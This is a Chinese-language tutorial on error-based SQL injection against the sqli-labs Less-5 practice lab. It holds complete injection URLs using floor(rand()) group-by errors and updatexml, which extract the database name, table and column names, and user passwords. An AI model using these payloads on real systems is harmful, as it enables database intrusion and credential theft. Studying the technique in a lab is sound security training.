一、常用函数
1、count()；统计该列有几条数据
2、rand()：产生0-1随机数
3、group by：根据某一列排序，改列必须出现在前面查询的内容
4、floor(1.23)：获取小于等于该值的最大整数
5、as：给查询的列名内容重命名
6、concat(1,2,3)：将里面的内容连接在一起
二、实例演示
1、获取当前数据库名称
http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select database()),"******",floor(rand(0)*2)) as aiyou from information_schema.tables group by aiyou --+
2、获取数据库security的表名
http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables group by aiyou --+ 第一个表 http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables group by aiyou --+ 第三个表
3、获取表users的字段名，将user转为十六进制，引号带入会引发语句错误
http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 1,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables group by aiyou --+ 第二列username http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 2,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables group by aiyou --+ 第三列password
4、获取字段password的内容
http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select password from users limit 0,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables group by aiyou --+ 第一个内容 http://192.168.139.129/sqli/Less-5/?id=1' union select 1,count(*),concat((select password from users limit 1,1),"******",floor(rand(0)*2)) as aiyou from information_schema.tables group by aiyou --+ 第二个内容
三、函数报错
1、updatexml：updatexml的第二个参数需要Xpath格式的字符串，concat()函数为字符串连接函数显然不符合规则，但是会将括号内的执行结果以错误的形式报出，这样就可以实现报错注入了
2、获取数据库名称
http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select database()),0x2a,0x2a),1)) --+
3、获取数据库security的表名
http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x2a,0x2a),1)) --+ http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x2a,0x2a),1)) --+
4、获取表users的字段名，将user转为十六进制，引号带入会引发语句错误
http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 1,1),0x2a,0x2a),1)) --+ http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 2,1),0x2a,0x2a),1)) --+
5、获取字段password的内容
http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select password from users limit 0,1),0x2a,0x2a),1)) --+ http://192.168.139.129/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x2a,(select password from users limit 3,1),0x2a,0x2a),1)) --+
禁止非法，后果自负
